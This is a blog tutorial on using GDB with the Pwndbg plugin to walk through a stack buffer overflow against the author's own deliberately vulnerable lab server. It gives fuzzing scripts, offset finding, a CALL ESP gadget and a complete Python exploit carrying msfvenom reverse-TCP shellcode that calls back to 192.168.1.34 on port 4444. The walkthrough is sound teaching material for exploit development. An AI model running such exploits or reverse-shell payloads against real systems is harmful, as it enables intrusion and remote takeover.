Using GDB and other command-line interfaces (such as Radare2) is fairly intimidating from a beginner perspective. GUI-led tools are all relatively easy to get to grips with debugging, such as EDB, x32dbg/x64dbg, Immunity, etc.

My first proper experience with CLI based tools was Radare2 and that was a bit of a steep learning curve. Using GDB too is massively confusing, despite hosting a powerful feature-set. The Pwndbg module for GDB greatly reduces the learning curve and simplifies a lot of the commands similar to what I've experienced with GUI debuggers.

This blog post is basically an intro into using Pwndbg, which I have started learning as this was written. There's a definite possibility that I've overlooked some areas or functionality, but I'll correct that or create a new post as a follow-up to this as my knowledge progresses.

Installation

To use the Pwndbg Python module for use with GDB first the GDB program will need to be installed. From what I can tell the versions of GDB that are supported are v7.7/7.11 onwards.

Install GDB

The repo versions of GDB aren't the bleeding edge, so if you want the officially supported versions the following example commands can be run:

Ubuntu:

sudo apt-get install gdb -y

CentOS:

sudo yum install gdb

Install Pwndbg

Implementing the module into GDB is fairly easy as the Pwndbg source includes a setup script.

Install git if not already installed:

sudo apt-get install git -y

Clone the Pwndbg repository:

git clone https://github.com/pwndbg/pwndbg

Run the setup script:

cd pwndbg
./setup.sh

This will install Pwndbg as your current user.

Environment Setup

I'll be running a 32bit Ubuntu 16.04 system with ASLR disabled for the purposes of this demo, alongside the Linux VulnServer application I've created as a demonstration of handling a debugger from the perspective of remote code execution exploit-development.

Compiling VulnServer-Linux

To build the vulnerable application from scratch you can run the following:

wget https://raw.githubusercontent.com/ins1gn1a/VulnServer-Linux/master/vuln.c
gcc vuln.c -o vuln -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

This will build the ELF without stack protection, which is what we need for practicing buffer overflow exploit development.

Running in GDB

Once GDB and Pwndbg are installed, the VulnServer application can be run via gdb vuln (or whatever you named the output file within the gcc command). Doing so loads the pwndbg CLI.

From here the program is loaded into GDB, but is not yet running. To run this, just type run. This will start the program as if it was run via the terminal, and by default this program listens for TCP connections on port 8080. You can connect to this remotely via netcat or telnet for example.

Fuzzing

To demonstrate the first step of the basic vanilla buffer overflow through GDB I've written a small script that will fuzz the HELP command from the VulnServer program.

#!/usr/bin/env python

import socket

target = "192.168.1.71"
port = 8080

prefix = "HELP "
buffer = "A" * 100

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

This script simply sends the HELP command, followed by 100 A ASCII characters (0x41). As it turns out, the HELP command is vulnerable to a buffer overflow of this, or shorter length (something that I forgot since originally writing it). Due to this, the program instantly crashes within GDB when the script is executed and a stack trace is displayed.

The Registers section shows that there are a few 32 bit registers that have been populated with either pointers to the stack locations for these A characters, or the actual bytes for these (such as EIP showing 0x41414141). This is clearly a full EIP overwrite buffer overflow.

To see the registers output at any time the command regs can be sent. Similarly, backtrace and stack for the stack output.

Identifying Offset

The next step, as per any vanilla overflow debugging, is to use GDB to identify the offset for overwriting EIP with a new address of where our 'shellcode' will be located, presumably the address of where the next item in the stack will contain our shellcode. This will be performed by sending a unique non-repeating string of characters, which will allow the identification of the unique 4 characters within EIP, thus allowing us to calculate the offset from 0.

I'll simplify this step here by using the WoollyMammoth tool that I've written, but essentially using any form of unique non-repating string tool in the above Python script would work (such as the Metasploit's pattern_create.rb script, cyclic 256 within Pwndbg itself, or any others).

./woollymammoth.py offset -t 192.168.1.71 -p 8080 --prefix "HELP "

After re-running the program in GDB by entering run again, and then using the pattern offset script/woollymammoth tool to send that unique string, the program crashes again and the registers are overwritten.

Upon review, the string Ac0A is written to EIP as 0x41306341. Entering this into WoollyMammoth shows that the offset is at 60 bytes.

By modifying the 'exploit' fuzzing script from before to send 60 A characters, followed by 4 B characters, and then by a large number of C characters, it is possible to see this clearly separated into the different registers.

#!/usr/bin/env python

import socket

target = "192.168.1.71"
port = 8080

prefix = "HELP"
buffer = "A" * 60
buffer += "B" * 4
buffer += "C" * 100

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

Here, the EIP register now has 0x42424242 as the value, which is the 4 B characters, and ESP points to the start of the 'shellcode', which for now is the multiple C characters. This is a little easier to visualise through the BACKTRACE output that is displayed on screen at crash-time.

Exploiting EIP

One goal for utilising the EIP overwrite would be to insert an instruction to move the execution flow to the stack, at which the ESP register currently points towards. The most basic way of doing this is via a JMP ESP instruction (\xff\xe4). However, the vulnerable server program doesn't have a reference to JMP ESP.

Instead, a CALL ESP instruction can be identified from the program memory. This can be discovered by using the search command in Pwndbg:

search -x ffd4

Entering this address in the little endian bytecode format as a replacement for the 4 B characters within the Python script will then cause the EIP register to execute this CALL ESP instruction. Execution flow will then move to the C characters (which are the bytecode operators for INC EBX).

#!/usr/bin/env python

import socket

target = "192.168.1.71"
port = 8080

prefix = "HELP"
buffer = "A" * 60
buffer += "\x83\x8a\x04\x08"
buffer += "\xCC\xCC\xCC\xCC"
buffer += "C" * 100

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

In the script above I've also added x4 \xCC operations, which will add a software breakpoint by way of the INT3 instruction. This will allow us to step through execution flow using stepi to move one instruction at a time for a more visual output of execution.

Running the program again and then executing the script with the included address then causes the EIP register to be overwritten. Execution flow is then also halted due to the use of the INT3 breakpoint instruction.

Stepping through twice by entering stepi takes iterates through the INT3 instructions.

By continuing to step through, eventually the execution will arrive at the INC EBX instructions and increase the value of EBX by one each time these are calls. These were the C characters (0x43) that were placeholders for actual an shellcode payload. A point of note is that EBX started at 0, so it's incremented by 1 each time from there.

Injecting Shellcode

I've generated a simple payload via msfvenom, which is a basic TCP reverse shell on port 4444. I've specified the null byte 0x00 character as a 'bad character' as this is universally the case.

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=4444 -f python -b "0x00"

This gives me a payload of 150 bytes in length:

buf = "\xdb\xd3\xb8\xc9\x07\x87\x3b\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x1f\x31\x43\x1a\x83\xeb\xfc\x03\x43\x16\xe2"
buf += "\x3c\x6d\x8d\x65\x8f\xa9\x66\x7a\xbc\x0e\xda\x17\x40"
buf += "\x21\xba\x6e\xa5\x8c\xc3\xe6\x7e\x67\x04\xa0\x81\x55"
buf += "\xec\xb3\x81\x88\xb0\x3a\x60\xc0\x2e\x65\x32\x44\xf8"
buf += "\x1c\x53\x25\xcb\x9f\x16\x6a\xaa\x86\x56\x1f\x70\xd1"
buf += "\xc4\xdf\x8a\x21\x50\x8a\x8a\x4b\x65\xc3\x68\xba\xac"
buf += "\x1e\xee\x38\xee\xd8\x52\xa9\xc9\xa8\xaa\x97\x15\xdd"
buf += "\xb4\xe7\x9c\x3e\x75\x0c\x92\x01\x95\xdf\x1a\xfc\x97"
buf += "\x60\xdf\x3f\x5f\x71\x84\x36\x41\xe8\x8c\x45\x32\x08"
buf += "\x3d\xd5\xb7\xcf\xc5\xd4\x48\x2e\x8d\xd8\xb6\xb1\xed"
buf += "\x61\xb7\xb1\xed\x95\x75\x31"

Adding this to the script to be appended after the address for the CALL ESP instruction looks as follows (with some NOP instructions for padding, as the shellcode is encoded and will need to decode itself in memory before executing):

#!/usr/bin/env python

import socket

target = "192.168.1.71"
port = 8080

buf = "\xdb\xd3\xb8\xc9\x07\x87\x3b\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x1f\x31\x43\x1a\x83\xeb\xfc\x03\x43\x16\xe2"
buf += "\x3c\x6d\x8d\x65\x8f\xa9\x66\x7a\xbc\x0e\xda\x17\x40"
buf += "\x21\xba\x6e\xa5\x8c\xc3\xe6\x7e\x67\x04\xa0\x81\x55"
buf += "\xec\xb3\x81\x88\xb0\x3a\x60\xc0\x2e\x65\x32\x44\xf8"
buf += "\x1c\x53\x25\xcb\x9f\x16\x6a\xaa\x86\x56\x1f\x70\xd1"
buf += "\xc4\xdf\x8a\x21\x50\x8a\x8a\x4b\x65\xc3\x68\xba\xac"
buf += "\x1e\xee\x38\xee\xd8\x52\xa9\xc9\xa8\xaa\x97\x15\xdd"
buf += "\xb4\xe7\x9c\x3e\x75\x0c\x92\x01\x95\xdf\x1a\xfc\x97"
buf += "\x60\xdf\x3f\x5f\x71\x84\x36\x41\xe8\x8c\x45\x32\x08"
buf += "\x3d\xd5\xb7\xcf\xc5\xd4\x48\x2e\x8d\xd8\xb6\xb1\xed"
buf += "\x61\xb7\xb1\xed\x95\x75\x31"

prefix = "HELP"
buffer = "A" * 60
buffer += "\x83\x8a\x04\x08"
buffer += "\x90\x90\x90\x90" * 4
buffer += buf

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target,port))
print (sock.recv(1024))
sock.send(prefix + buffer)
print (sock.recv(1024))
sock.close()

Running the program in GDB followed by this new exploit script should cause the target system to return a basic shell. I've set up a listener on TCP port 4444 and the result is that a connection is received: